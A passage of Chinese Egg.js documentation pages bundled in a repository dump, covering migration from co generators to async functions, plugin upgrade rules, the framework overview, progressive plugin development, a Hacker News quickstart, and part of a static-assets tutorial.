在编程模型上基本相同，但由于 `co` 的一些特殊处理，在移除 `co` 后，需要根据不同场景进行手动处理：\n\n#### promise\n\n直接替换即可：\n\n```js\nfunction echo(msg) {\n  return Promise.resolve(msg);\n}\n\nyield echo('hi egg');\n// 替换为\nawait echo('hi egg');\n```\n\n#### 数组 - yield []\n\n`yield []` 常用于并发请求，比如：\n\n```js\nconst [ news, user ] = yield [\n  ctx.service.news.list(topic),\n  ctx.service.user.get(uid),\n];\n```\n\n这种修改比较简单，使用 `Promise.all()` 包装即可：\n\n```js\nconst [news, user] = await Promise.all([\n  ctx.service.news.list(topic),\n  ctx.service.user.get(uid),\n]);\n```\n\n#### 对象 - yield {}\n\n`yield {}` 和 `yield map` 方式也常用于并发请求，由于 `Promise.all` 不支持对象，转换会稍微复杂一些。\n\n```js\n// app/service/biz.js\nclass BizService extends Service {\n  * list(topic, uid) {\n    return {\n      news: yield ctx.service.news.list(topic),\n      user: yield ctx.service.user.get(uid),\n    };\n  }\n}\n\n// app/controller/home.js\nconst { news, user } = yield ctx.service.biz.list(topic, uid);\n```\n\n建议修改为 `await Promise.all([])` 的方式：\n\n```js\n// app/service/biz.js\nclass BizService extends Service {\n  async list(topic, uid) {\n    const results = await Promise.all([\n      ctx.service.news.list(topic),\n      ctx.service.user.get(uid),\n    ]);\n    return {\n      news: results[0],\n      user: results[1],\n    };\n  }\n}\n\n// app/controller/home.js\nconst { news, user } = await ctx.service.biz.list(topic, uid);\n```\n\n如果无法修改相关接口，可以暂时使用我们提供的工具方法 [app.toPromise] 兼容一下。\n\n**建议尽量修改，因为实际上就是交给了 co 处理，可能会引起性能损失和堆栈问题。**\n\n```js\nconst { news, user } = await app.toPromise(ctx.service.biz.list(topic, uid));\n```\n\n#### 其他情况\n\n- thunks（函数）\n- generators（委托）\n- generator 函数（委托）\n\n只需改写为相应的 async 函数即可。如果无法修改，可以使用 [app.toAsyncFunction] 方法简单包装一下。\n\n**注意**\n\n- 使用 [toAsyncFunction][app.toasyncfunction] 和 [toPromise][app.topromise] 实际上是借助 [co] 进行包装的，因此可能导致性能损失和堆栈问题。我们建议开发者尽可能进行全链路升级。\n- 在调用 async 函数时，[toAsyncFunction][app.toasyncfunction] 不会引起额外损失。\n\n@sindresorhus 编写了不少[基于 promise 的辅助方法](https://github.com/sindresorhus/promise-fun)，灵活利用这些方法配合 async 函数可以让代码更加清晰易读。\n\n## 插件升级\n\n`应用开发者` 只需升级 `插件开发者` 修改后的依赖版本即可，也可以用我们提供的命令 `egg-bin autod` 快速更新。\n\n以下内容针对 `插件开发者`，指导如何升级插件：\n\n### 升级事项\n\n- 完成上面章节提到的升级项。\n  - 所有的 `generator function` 改为 `async function` 格式。\n  - 升级中间件风格。\n- 接口兼容（可选），如下所示。\n- 发布大版本。\n\n### 接口兼容\n\n某些场景下，`插件开发者` 提供给 `应用开发者` 的接口同时支持 generator 和 async，一般会用 `co` 包装一层。\n\n- 在 2.x 里，为了更好的性能和错误堆栈，我们建议修改为 `async-first`。\n- 如有需要，可以使用 [`toAsyncFunction`](https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L344) 和 [`toPromise`](https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L353) 来实现兼容。\n\n例如，[`egg-schedule`](https://github.com/eggjs/egg-schedule) 插件支持应用层使用 generator 或 async 定义任务：\n\n```js\n// {app_root}/app/schedule/cleandb.js\nexports.task = function* (ctx) {\n  yield ctx.service.db.clean();\n};\n\n// {app_root}/app/schedule/log.js\nexports.task = async function splitLog(ctx) {\n  await ctx.service.log.split();\n};\n```\n\n`插件开发者` 可以简单包装下原始函数：\n\n```js\n// https://github.com/eggjs/egg-schedule/blob/80252ef/lib/load_schedule.js#L38\ntask = app.toAsyncFunction(schedule.task);\n```\n\n### 插件发布规则\n\n- **需要发布大版本**\n  - 除非插件提供的接口都是 promise 的，且代码里不存在 `async`，如 [`egg-view-nunjucks`](https://github.com/eggjs/egg-view-nunjucks)。\n- 修改 `package.json`\n  - 修改 `devDependencies` 依赖的 `egg` 为 `^2.0.0`。\n  - 修改 `engines.node` 为 `>=8.0.0`。\n  - 修改 `ci.version` 为 `8, 9` 并重新安装依赖，以生成新的 travis 配置文件。\n- 修改 `README.md` 中的示例为 `async function`。\n- 编写升级指引。\n- 修改 `test/fixtures` 为 `async function`，可选，建议分开另一个 PR 以方便 Review。\n\n一般还需要继续维护上一个版本，故需：\n\n- 为上一个版本建立一个 `1.x` 分支。\n- 修改上一个版本的 `package.json` 中的 `publishConfig.tag` 为 `1.x`。\n- 这样，当上一个版本有 BugFix 时，在 npm 版本中会发布为 `release-1.x` 这个 tag，用户通过 `npm i egg-xx@release-1.x` 来引入旧版本。\n- 参见 [npm 文档](https://docs.npmjs.com/cli/dist-tag)。\n\n[co]: https://github.com/tj/co\n[egg-schedule]: https://github.com/eggjs/egg-schedule\n[egg-view-nunjucks]: https://github.com/eggjs/egg-view-nunjucks\n[app.toasyncfunction]: https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L344\n[app.topromise]: https://github.com/eggjs/egg-core/blob/da4ba1784175c43217125f3d5cd7f0be3d5396bf/lib/egg.js#L353\n"
  },
  {
    "path": "site/docs/zh-CN/intro/overview.md",
    "content": "# Egg.js 是什么\n\n**Egg.js 为企业级框架和应用而生**。我们希望 Egg.js 能孕育出更多上层框架，帮助开发团队和开发人员降低开发和维护成本。\n\n> 注：Egg.js 的缩写为 Egg\n\n## 设计原则\n\n我们深知企业级应用在追求规范和共建的同时，还需考虑如何平衡不同团队之间的差异，求同存异。因此，我们没有选择社区常见的大集市模式（如集成数据库、模板引擎、前端框架等），而是专注于提供 Web 开发的核心功能和灵活可扩展的插件机制。我们不会做出技术选型，这是因为一旦技术选型固定，框架的扩展性就会变差，无法满足各种定制需求。通过 Egg，企业的架构师和技术负责人能够轻松地在 Egg 基础上，扩展出符合自身技术架构和业务场景的框架。\n\nEgg 的插件机制具备很高的可扩展性，**一个插件仅完成一件事情**（例如 [Nunjucks] 模板封装成了 [egg-view-nunjucks](https://github.com/eggjs/egg-view-nunjucks)，MySQL 数据库封装成了 [egg-mysql](https://github.com/eggjs/egg-mysql)）。Egg 通过框架聚合这些插件，并根据自己的业务场景定制配置，从而极大降低了应用的开发成本。\n\nEgg 奉行“**约定优于配置**”。按照[一套统一的约定](../advanced/loader.md)开发应用时，团队成员可以减少学习成本，不再是“钉子”，能流动起来。未有约定的团队，沟通成本极高，因为每个人的开发习惯可能都不同，容易犯错。但约定并不意味着扩展性差，Egg 的扩展性极高，可根据不同团队的约定来定制框架。使用 [Loader](../advanced/loader.md)，框架能够根据不同环境定义默认配置，并覆盖 Egg 的默认约定。\n\n## 与社区框架的差异\n\n[Express] 是 Node.js 社区广泛使用的框架，简洁且扩展性强，很适合个人项目。不过，由于缺少约定，MVC 模型实现方式多种多样。Egg 则是按照固定约定进行开发，低协作成本。\n\n[Sails] 也是奉行“**约定优于配置**”的框架，扩展性同样很好。相比 Egg，[Sails] 提供了 Blueprint REST API、[Waterline] 这样的 ORM、前端集成、WebSocket 等功能。而 Egg 不会直接提供这些功能，但可以聚合各种功能插件（如 egg-blueprint，egg-waterline 等），再用 sails-egg 框架整合这些插件后，就可以替代 [Sails]。\n\n## 特性\n\n- 可[定制上层框架](../advanced/framework.md)的能力\n- 高度可扩展的[插件机制](../basics/plugin.md)\n- 内置[多进程管理](../advanced/cluster-client.md)\n- 基于 [Koa] 开发，性能优异\n- 框架稳定，测试覆盖率高\n- [渐进式开发](../intro/progressive.md)\n\n[sails]: http://sailsjs.com\n[express]: http://expressjs.com\n[koa]: http://koajs.com\n[nunjucks]: https://mozilla.github.io/nunjucks\n[waterline]: https://github.com/balderdashy/waterline\n"
  },
  {
    "path": "site/docs/zh-CN/intro/progressive.md",
    "content": "# 渐进式开发\n\n在 Egg 里面，有[插件](../basics/plugin.md)和[框架](../advanced/framework.md)，前者还包括了 `path` 和 `package` 两种加载模式，那我们应该如何选择呢？\n\n本文将以实例的方式，一步步给大家演示下，如何渐进式地进行代码演进。\n\n全部的示例代码可以参见 [eggjs/examples/progressive](https://github.com/eggjs/examples/tree/master/progressive)。\n\n## 最初始的状态\n\n假设我们有一段分析 UA 的代码，实现以下功能：\n\n- `ctx.isAndroid`\n- `ctx.isIOS`\n\n通过之前的教程，大家一定可以很快地写出来，我们快速回顾下：\n\n对应的代码参见 [step1](https://github.com/eggjs/examples/tree/master/progressive/step1)。\n\n目录结构：\n\n```sh\nexample-app\n├── app\n│   ├── extend\n│   │   └── context.js\n│   └── router.js\n├── test\n│   └── index.test.js\n└── package.json\n```\n\n核心代码：\n\n```javascript\n// app/extend/context.js\nmodule.exports = {\n  get isIOS() {\n    const iosReg = /iphone|ipad|ipod/i;\n    return iosReg.test(this.get('user-agent'));\n  },\n};\n```\n\n## 插件的雏形\n\n我们很明显能感知到，这段逻辑是具备通用性的，可以写成插件。\n\n但一开始的时候，功能还没完善，直接独立插件，维护起来比较麻烦。\n\n此时，我们可以把代码写成插件的形式，但并不独立出去。\n\n对应的代码参见 [step2](https://github.com/eggjs/examples/tree/master/progressive/step2)。\n\n新的目录结构：\n\n```sh\nexample-app\n├── app\n│   └── router.js\n├── config\n│   └── plugin.js\n├── lib\n│   └── plugin\n│       └── egg-ua\n│           ├── app\n│           │   └── extend\n│           │       └── context.js\n│           └── package.json\n├── test\n│   └── index.test.js\n└── package.json\n```\n\n核心代码：\n\n- `app/extend/context.js` 移动到 `lib/plugin/egg-ua/app/extend/context.js`。\n\n- `lib/plugin/egg-ua/package.json` 声明插件。\n\n```json\n{\n  \"eggPlugin\": {\n    \"name\": \"ua\"\n  }\n}\n```\n\n- `config/plugin.js` 中通过 `path` 来挂载插件。\n\n```javascript\n// config/plugin.js\nconst path = require('path');\nexports.ua = {\n  enable: true,\n  path: path.join(__dirname, '../lib/plugin/egg-ua'),\n};\n```\n\n## 抽成独立插件\n\n经过一段时间开发后，该模块的功能成熟，此时可以考虑抽出来成为独立的插件。\n\n首先，我们抽出一个 `egg-ua` 插件，看过[插件文档](../advanced/plugin.md)的同学应该都比较熟悉，我们这里只简单过一下：\n\n目录结构：\n\n```\negg-ua\n├── app\n│   └── extend\n│       └── context.js\n├── test\n│   ├── fixtures\n│   │   └── test-app\n│   │       ├── app\n│   │       │   └── router.js\n│   │       └── package.json\n│   └── ua.test.js\n└── package.json\n```\n\n对应的代码参见 [step3/egg-ua](https://github.com/eggjs/examples/tree/master/progressive/step3/egg-ua)。\n\n然后改造原有的应用，对应的代码参见 [step3/example-app](https://github.com/eggjs/examples/tree/master/progressive/step3/example-app)。\n\n- 移除 `lib/plugin/egg-ua` 目录。\n- `package.json` 中声明对 `egg-ua` 的依赖。\n- `config/plugin.js` 中修改依赖声明为 `package` 方式。\n\n```javascript\n// config/plugin.js\nexports.ua = {\n  enable: true,\n  package: 'egg-ua',\n};\n```\n\n**注意：**在插件还没发布前，可以通过 `npm link` 的方式进行本地测试，具体参见 [npm-link](https://docs.npmjs.com/cli/link)。\n\n```bash\ncd example-app\nnpm link ../egg-ua\nnpm install\nnpm test\n```\n\n## 沉淀到框架\n\n重复上述的过程，很快我们会积累了好几个插件和配置，并且我们会发现，在团队的大部分项目中，都会用到这些插件。\n\n此时，就可以考虑抽象出一个适合团队业务场景的框架。\n\n首先，抽象出 `example-framework` 框架，如上看过[框架文档](../advanced/framework.md)的同学应该都比较熟悉，我们这里只简单过一下：\n\n目录结构：\n\n```\nexample-framework\n├── config\n│   ├── config.default.js\n│   └── plugin.js\n├── lib\n│   ├── agent.js\n│   └── application.js\n├── test\n│   ├── fixtures\n│   │   └── test-app\n│   └── framework.test.js\n├── README.md\n├── index.js\n└── package.json\n```\n\n- 对应的代码参见 [example-framework](https://github.com/eggjs/examples/tree/master/progressive/step4/example-framework)。\n- 把原来的 `egg-ua` 等插件的依赖，从 `example-app` 中移除，配置到该框架的 `package.json` 和 `config/plugin.js` 中。\n\n然后改造原有的应用，对应的代码参见 [step4/example-app](https://github.com/eggjs/examples/tree/master/progressive/step4/example-app)。\n\n- 移除 `config/plugin.js` 中对 `egg-ua` 的依赖。\n- `package.json` 中移除对 `egg-ua` 的依赖。\n- `package.json` 中声明对 `example-framework` 的依赖，并配置 `egg.framework`。\n\n```json\n{\n  \"name\": \"progressive\",\n  \"version\": \"1.0.0\",\n  \"private\": true,\n  \"egg\": {\n    \"framework\": \"example-framework\"\n  },\n  \"dependencies\": {\n    \"example-framework\": \"*\"\n  }\n}\n```\n\n**注意：**在框架还没发布前，可以通过 `npm link` 的方式进行本地测试，具体参见 [npm-link](https://docs.npmjs.com/cli/link)。\n\n```bash\ncd example-app\nnpm link ../egg-framework\nnpm install\nnpm test\n```\n\n## 写在最后\n\n综上所述，大家可以看到我们是如何一步步渐进地去进行框架演进，这得益于 Egg 强大的插件机制、代码共建，以及复用和下沉。这些步骤竟然可以这么地无痛来得以完成！\n\n- 通常来说，当应用中有可能会复用到的代码时，直接放到 `lib/plugin` 目录去，例如例子中的 `egg-ua`。\n- 当该插件功能稳定后，即可独立出来作为一个 `node module`。\n- 随着时间推移，应用中相对复用性较强的代码都会逐渐独立为单独的插件。\n- 当你的应用逐渐进化到针对某类业务场景的解决方案时，将其抽象为独立的 `framework` 进行发布。\n- 当在新项目中抽象出的插件，下沉集成到框架后，其他项目只需要简单的重新执行 `npm install` 就可以使用上，从而极大地提高了整个团队的效率。\n- **注意：**无论是应用、插件还是框架，都必须编写单元测试，并尽量实现 100% 覆盖率。\n"
  },
  {
    "path": "site/docs/zh-CN/intro/quickstart.md",
    "content": "# 快速入门\n\n本文将从实例的角度，一步步地搭建出一个 Egg.js 应用，让你能快速地入门 Egg.js。\n\n## 环境准备\n\n- 操作系统：支持 macOS、Linux、Windows\n- 运行环境：建议选择 [LTS 版本][node.js]，最低要求 22.18.0。\n\n## 快速初始化\n\n我们推荐直接使用脚手架。只需几条简单指令，即可快速生成项目：\n\n```bash\nnpx create-egg@beta --template tegg hackernews-tegg\n\ncd hackernews-tegg\nnpm install\n```\n\n启动项目：\n\n```bash\nnpm run dev\n\nopen http://localhost:7001\n```\n\n## 逐步搭建\n\n通常你可以通过上一节的方式，使用 `npx create-egg@beta` 快速选择适合对应业务模型的脚手架，快速启动 Egg.js 项目的开发。\n\n但为了让大家更好地了解 Egg.js，接下来，我们将跳过脚手架，手动一步步地搭建出一个 [Hacker News](https://github.com/eggjs/examples/tree/master/hackernews-tegg)。\n\n**注意：实际项目中，我们推荐使用上一节的脚手架直接初始化。**\n\n![Egg HackerNews](https://cloud.githubusercontent.com/assets/227713/22960991/812999bc-f37d-11e6-8bd5-a96ca37d0ff2.png)\n\n### 初始化项目\n\n先来初始化下目录结构：\n\n```bash\nmkdir hackernews-tegg\ncd hackernews-tegg\nnpm init\nnpm i egg\nnpm i @eggjs/bin --save-dev\n```\n\n添加 `npm scripts` 到 `package.json`：\n\n```json\n{\n  \"name\": \"hackernews-tegg\",\n  \"scripts\": {\n    \"dev\": \"egg-bin dev\"\n  }\n}\n```\n\n### 编写 Controller\n\n如果你熟悉 Web 开发或 MVC，肯定猜到我们第一步需要编写的是 [HTTP Controller](../basics/httpcontroller.md)。\n\n```js\n// app/controller/home.js\nconst Controller = require('egg').Controller;\n\nclass HomeController extends Controller {\n  async index() {\n    this.ctx.body = 'Hello world';\n  }\n}\n\nmodule.exports = HomeController;\n```\n\n配置路由映射：\n\n```js\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n};\n```\n\n加一个[配置文件](../basics/config.md)：\n\n```js\n// config/config.default.js\nexports.keys = '<此处改为你自己的 Cookie 安全字符串>';\n```\n\n此时目录结构如下：\n\n```bash\negg-example\n├── app\n│   ├── controller\n│   │   └── home.js\n│   └── router.js\n├── config\n│   └── config.default.js\n└── package.json\n```\n\n完整的目录结构规范参见[目录结构](../basics/structure.md)。\n\n好，现在可以启动应用来体验下：\n\n```bash\n$ npm run dev\n$ open http://localhost:7001\n```\n\n### 静态资源\n\nEgg 内置了 [static][@eggjs/static] 插件，线上环境建议部署到 CDN，无需该插件。\n\nstatic 插件默认映射 `/public/* -> app/public/*` 目录。\n\n此处，我们把静态资源都放到 `app/public` 目录即可：\n\n```bash\napp/public\n├── css\n│   └── news.css\n└── js\n    ├── lib.js\n    └── news.js\n```\n\n### 模板渲染\n\n绝大多数情况下，我们都需要读取数据后渲染模板，然后呈现给用户。因此，我们需要引入对应的模板引擎。\n\n框架并不强制你使用某种模板引擎，只是约定了 [View 插件开发规范](../advanced/view-plugin.md)，开发者可以引入不同的插件来实现差异化定制。\n\n更多用法参见 [View](../core/view.md)。\n\n在本例中，我们使用 Nunjucks 来渲染。首先，安装对应的插件 `egg-view-nunjucks`：\n\n```bash\n$ npm i egg-view-nunjucks --save\n```\n\n开启插件：\n\n```js\n// config/plugin.js\nexports.nunjucks = {\n  enable: true,\n  package: 'egg-view-nunjucks',\n};\n```\n\n```js\n// config/config.default.js\nexports.keys = <此处改为你自己的 Cookie 安全字符串>;\n// 添加 view 配置项\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n  mapping: {\n    '.tpl': 'nunjucks',\n  },\n};\n```\n\n**注意：是 `config` 目录，不是 `app/config`！**\n\n为列表页编写模板文件，一般放置在 `app/view` 目录下：\n\n```html\n<!-- app/view/news/list.tpl -->\n<!DOCTYPE html>\n<html>\n  <head>\n    <title>Hacker News</title>\n    <link rel=\"stylesheet\" href=\"/public/css/news.css\" type=\"text/css\" />\n  </head>\n  <body>\n    <ul class=\"news-view view\">\n      {% for item in list %}\n      <li class=\"item\">\n        <a href=\"{{ item.url }}\">{{ item.title }}</a>\n      </li>\n      {% endfor %}\n    </ul>\n  </body>\n</html>\n```\n\n添加 Controller 和 Router：\n\n```js\n// app/controller/news.js\nconst Controller = require('egg').Controller;\n\nclass NewsController extends Controller {\n  async list() {\n    const dataList = {\n      list: [\n        { id: 1, title: 'This is news 1', url: '/news/1' },\n        { id: 2, title: 'This is news 2', url: '/news/2' },\n      ],\n    };\n    await this.ctx.render('news/list.tpl', dataList);\n  }\n}\n\nmodule.exports = NewsController;\n\n// app/router.js\nmodule.exports = (app) => {\n  const { router, controller } = app;\n  router.get('/', controller.home.index);\n  router.get('/news', controller.news.list);\n};\n```\n\n在浏览器中启动并访问 [http://localhost:7001/news](http://localhost:7001/news) 即可看到渲染后的页面。\n\n**提示：** 开发期默认开启了 [development][@eggjs/development] 插件，修改后端代码后，会自动重启 Worker 进程。\n\n### 编写 Service\n\n在实际应用中，Controller 一般不会自己产出数据，也不会包含复杂的逻辑，复杂的过程应抽象为业务逻辑层 [Service](../basics/service.md)。\n\n我们来添加一个 Service 抓取 [Hacker News](https://github.com/HackerNews/API) 的数据，如下：\n\n```js\n// app/service/news.js\nconst Service = require('egg').Service;\n\nclass NewsService extends Service {\n  async list(page = 1) {\n    // read config\n    const { serverUrl, pageSize } = this.config.news;\n\n    // use build-in http client to GET hacker-news api\n    const { data: idList } = await this.ctx.curl(\n      `${serverUrl}/topstories.json`,\n      {\n        data: {\n          orderBy: '\"$key\"',\n          startAt: `\"${pageSize * (page - 1)}\"`,\n          endAt: `\"${pageSize * page - 1}\"`,\n        },\n        dataType: 'json',\n      },\n    );\n\n    // parallel GET detail\n    const newsList = await Promise.all(\n      Object.keys(idList).map((key) => {\n        const url = `${serverUrl}/item/${idList[key]}.json`;\n        return this.ctx.curl(url, { dataType: 'json' });\n      }),\n    );\n    return newsList.map((res) => res.data);\n  }\n}\n\nmodule.exports = NewsService;\n```\n\n> 框架提供了内置的 [HttpClient](../core/httpclient.md) 来方便开发者使用 HTTP 请求。\n\n然后稍微修改下之前的 Controller：\n\n```js\n// app/controller/news.js\nconst Controller = require('egg').Controller;\n\nclass NewsController extends Controller {\n  async list() {\n    const ctx = this.ctx;\n    const page = ctx.query.page || 1;\n    const newsList = await ctx.service.news.list(page);\n    await ctx.render('news/list.tpl', { list: newsList });\n  }\n}\n\nmodule.exports = NewsController;\n```\n\n还需增加 `app/service/news.js` 中读取到的配置：\n\n```js\n// config/config.default.js\n// 添加 news 的配置项\nexports.news = {\n  pageSize: 5,\n  serverUrl: 'https://hacker-news.firebaseio.com/v0',\n};\n```\n\n### 编写扩展\n\n遇到一个小问题，我们的新闻时间数据是 UnixTime 格式的，我们希望显示为便于阅读的格式。\n\n框架提供了一种快速扩展的方式，只需在 `app/extend` 目录下提供扩展脚本即可，具体参见[扩展](../basics/extend.md)。\n\n在这里，我们可以使用 View 插件支持的 Helper 来实现：\n\n```bash\n$ npm i moment --save\n```\n\n```js\n// app/extend/helper.js\nconst moment = require('moment');\nexports.relativeTime = (time) => moment(new Date(time * 1000)).fromNow();\n```\n\n在模板里面使用：\n\n```html\n<!-- app/view/news/list.tpl -->\n{{ helper.relativeTime(item.time) }}\n```\n\n### 编写 Middleware\n\n假设有个需求：我们的新闻站点，禁止百度爬虫访问。\n\n聪明的同学们一定能很快想出可以通过 [Middleware](../basics/middleware.md) 判断 User-Agent 的方法，如下：\n\n```js\n// app/middleware/robot.js\n// options === app.config.robot\nmodule.exports = (options, app) => {\n  return async function robotMiddleware(ctx, next) {\n    const source = ctx.get('user-agent') || '';\n    const match = options.ua.some((ua) => ua.test(source));\n    if (match) {\n      ctx.status = 403;\n      ctx.message = 'Go away, robot.';\n    } else {\n      await next();\n    }\n  };\n};\n\n// config/config.default.js\n// add middleware robot\nexports.middleware = ['robot'];\n// robot's configurations\nexports.robot = {\n  ua: [/Baiduspider/i],\n};\n```\n\n现在可以使用 `curl http://localhost:7001/news -A \"Baiduspider\"` 看看效果。\n\n更多参见[中间件](../basics/middleware.md)文档。\n\n### 配置文件\n\n写业务的时候，不可避免的需要有配置文件。框架提供了强大的配置合并管理功能：\n\n- 支持按环境变量加载不同的配置文件，例如 `config.local.js`、`config.prod.js` 等。\n- 应用、插件、框架都可以配置自己的配置文件，框架将按顺序合并加载。\n- 具体合并逻辑可参见[配置文件](../basics/config.md#配置加载顺序)。\n\n```js\n// config/config.default.js\nexports.robot = {\n  ua: [/curl/i, /Baiduspider/i],\n};\n\n// config/config.local.js\n// only read at development mode, will override default\nexports.robot = {\n  ua: [/Baiduspider/i],\n};\n\n// app/service/some.js\nconst Service = require('egg').Service;\n\nclass SomeService extends Service {\n  async list() {\n    const rule = this.config.robot.ua;\n  }\n}\n\nmodule.exports = SomeService;\n```\n\n### 单元测试\n\n单元测试非常重要，框架也提供了 [egg-bin] 来帮开发者无痛地编写测试。\n\n测试文件应该放在项目根目录下的 `test` 目录内，并以 `test.js` 为后缀名。也就是 `{app_root}/test/**/*.test.js`。\n\n```js\n// test/app/middleware/robot.test.js\nconst { app, mock, assert } = require('egg-mock/bootstrap');\n\ndescribe('test/app/middleware/robot.test.js', () => {\n  it('should block robot', () => {\n    return app\n      .httpRequest()\n      .get('/')\n      .set('User-Agent', 'Baiduspider')\n      .expect(403);\n  });\n});\n```\n\n然后配置依赖和 `npm scripts`：\n\n```json\n{\n  \"scripts\": {\n    \"test\": \"egg-bin test\",\n    \"cov\": \"egg-bin cov\"\n  }\n}\n```\n\n执行以下命令安装依赖：\n\n```bash\nnpm i -D @eggjs/mock\n```\n\n执行测试：\n\n```bash\nnpm test\n```\n\n就这么简单。更多请参见[单元测试](../core/unittest.md)。\n\n## 后记\n\n短短几章内容，只能讲解 Egg 的冰山一角。我们建议开发者继续阅读其他章节：\n\n- 关于骨架类型，参见[骨架说明](../tutorials/index.md)。\n- 提供了强大的扩展机制，参见[插件](../basics/plugin.md)。\n- 一个大规模的团队需要遵循一定的约束和约定。在 Egg 里，我们建议封装适合自己团队的上层框架，详见[框架开发](../advanced/framework.md)。\n- 这是一个渐进式的框架，代码的共建、复用和下沉竟然可以如此无痛。建议阅读[渐进式开发](../intro/progressive.md)。\n- 写单元测试其实是一件很简单的事，Egg 提供了非常多的配套辅助。我们强烈建议大家采用测试驱动开发，具体参见[单元测试](../core/unittest.md)。\n\n[node.js]: http://nodejs.org\n[egg-bin]: https://github.com/eggjs/egg/tree/master/tools/egg-bin\n[@eggjs/static]: https://github.com/eggjs/egg/tree/master/plugins/static\n[@eggjs/development]: https://github.com/eggjs/egg/tree/master/plugins/development\n[@eggjs/view-nunjucks]: https://github.com/eggjs/egg/tree/master/plugins/view-nunjucks\n[urllib]: https://www.npmjs.com/package/urllib\n[nunjucks]: https://mozilla.github.io/nunjucks/\n"
  },
  {
    "path": "site/docs/zh-CN/tutorials/assets.md",
    "content": "# 静态资源\n\n[`egg-view-assets`](https://github.com/eggjs/egg-view-assets) 提供了通用的静态资源管理和本地开发方案，具有以下功能：\n\n1. 一体化的本地开发方案\n2. 生产环境下的静态资源映射\n3. 与模板引擎集成\n4. 根据[约定](#构建工具约定)可以使用多种构建工具，例如 [`webpack`](https://webpack.js.org/)、[`roadhog`](https://github.com/sorrycc/roadhog)、[`umi`](https://umijs.org/) 等\n\n您可以参考以下示例了解详情：\n\n- [`roadhog` 工具示例](https://github.com/eggjs/examples/tree/master/assets-with-roadhog)\n- [`umi` 工具示例](https://github.com/eggjs/examples/tree/master/assets-with-umi)\n- [Ant Design Pro 示例](https://github.com/eggjs/egg-ant-design-pro)\n\n## 页面渲染\n\n可通过自动或手动方式添加静态资源，以下有两种方法：\n\n### 使用 assets 模板引擎\n\nassets 模板引擎并非服务端渲染，而是以一个静态资源文件作为入口，使用基础模板渲染出 HTML，并将这个文件插入到 HTML 的一种方法，查看 [使用 roadhog 的例子](https://github.com/eggjs/examples/tree/master/assets-with-roadhog)。\n\n**配置插件：**\n\n```js\n// config/plugin.js\nexports.assets = {\n  enable: true,\n  package: 'egg-view-assets',\n};\n```\n\n**配置 assets 模板引擎：**\n\n```js\n// config/config.default.js\nexports.view = {\n  mapping: {\n    '.js': 'assets',\n  },\n};\n```\n\n添加静态资源入口文件 `app/view/index.js`，然后调用 `render` 方法进行渲染：\n\n```js\n// app/controller/home.js\nmodule.exports = class HomeController extends Controller {\n  async render() {\n    await this.ctx.render('index.js');\n  }\n};\n```\n\n**渲染的结果如下：**\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <link rel=\"stylesheet\" href=\"http://127.0.0.1:8000/index.css\"></link>\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    <script src=\"http://127.0.0.1:8000/index.js\"></script>\n  </body>\n</html>\n```\n\n**注意：这个路径生成规则是有映射的，如 `index.js` -> `http://127.0.0.1:8000/index.js`。如果本地开发工具不支持这层映射，比如自定义了 entry 配置，可以使用其他模板引擎。**\n\n#### 全局自定义 html 模板\n\n一般默认的 HTML 无法满足需求，可以指定模板路径和模板引擎：\n\n```js\n// config/config.default.js\nmodule.exports = (appInfo) => ({\n  assets: {\n    templatePath: path.join(appInfo.baseDir, 'app/view/template.html'),\n    templateViewEngine: 'nunjucks',\n  },\n});\n```\n\n添加模板文件：\n\n```html\n<!DOCTYPE html>\n<html>\n  <head>\n    {{ helper.assets.getStyle() | safe }}\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    {{ helper.assets.getScript() | safe }}\n  </body>\n</html>\n```\n\n[egg-view-assets] 插件提供了 `helper.assets` 根据自己的场景调用，`helper.assets.getScript()` 可以不用传参，会将 `render` 函数的参数透传。\n\n#### 页面自定义 html 模板\n\n支持根据不同页面指定模板，可以在 `render` 方法传参：\n\n```js\n// app/controller/home.js\nmodule.exports = class HomeController extends Controller {\n  async render() {\n    await this.ctx.render(\n      'index.js',\n      {},\n      {\n        templatePath: path.join(\n          this.app.config.baseDir,\n          'app/view/template.html',\n        ),\n        templateViewEngine: 'nunjucks',\n      },\n    );\n  }\n};\n```\n\n#### 修改静态资源目录\n\n以上例子是将静态资源放到 `app/view` 目录下，但大部分情况希望将它们放到独立目录，如 `app/assets`。因为 assets 模板引擎使用 `egg-view` 的加载器，所以直接修改其配置：\n\n```js\n// config/config.default.js\nmodule.exports = (appInfo) => ({\n  view: {\n    // 如果还有其他模板引擎，需要合并多个目录\n    root: path.join(appInfo.baseDir, 'app/assets'),\n  },\n});\n```\n\n### 使用其他模板引擎\n\n如果默认的 assets 模板引擎无法满足需求，你可以考虑结合其他模板引擎使用。这种情况下不需要配置 assets 模板引擎，你可以参考 [使用 umi 的例子](https://github.com/eggjs/examples/tree/master/assets-with-umi)。\n\n```js\n// config/config.default.js\nexports.view = {\n  mapping: {\n    '.html': 'nunjucks',\n  },\n};\n```\n\n渲染模板\n\n```js\n// app/controller/home.js\nmodule.exports = class HomeController extends Controller {\n  async render() {\n    await this.ctx.render('index.html');\n  }\n};\n```\n\n添加模板文件（这里简化了 umi 的模板）\n\n```html\n<!DOCTYPE html>\n<html>\n  <head>\n    {{ helper.assets.getStyle('umi.css') | safe }}\n  </head>\n  <body>\n    <div id=\"root\"></div>\n    {{ helper.assets.getScript('umi.js') | safe }}\n  </body>\n</html>\n```\n\n**在其他模板中，必须添加参数以生成所需的静态资源路径。**\n\n### 上下文数据\n\n有时前端需要获取服务端数据。因此，在渲染页面时，我们通常会向 `window` 全局对象设置数据。\n\n如果使用 assets 模板引擎，默认的前端代码可以从 `window.context` 获取数据。\n\n```js\n// app/controller/home.js\nmodule.exports = class HomeController extends Controller {\n  async render() {\n    await this.ctx.render('index.js', { data: 1 });\n  }\n};\n```\n\n使用其他模板引擎时，你需要调用 `helper.assets.getContext(__context__)` 函数，并传入相应的上下文参数。\n\n```js\n// app/controller/home.js\nmodule.exports = class HomeController extends Controller {\n  async render() {\n    await this.ctx.render('index.html', {\n      __context__: { data: 1 },\n    });\n  }\n};\n```\n\n默认的属性名为 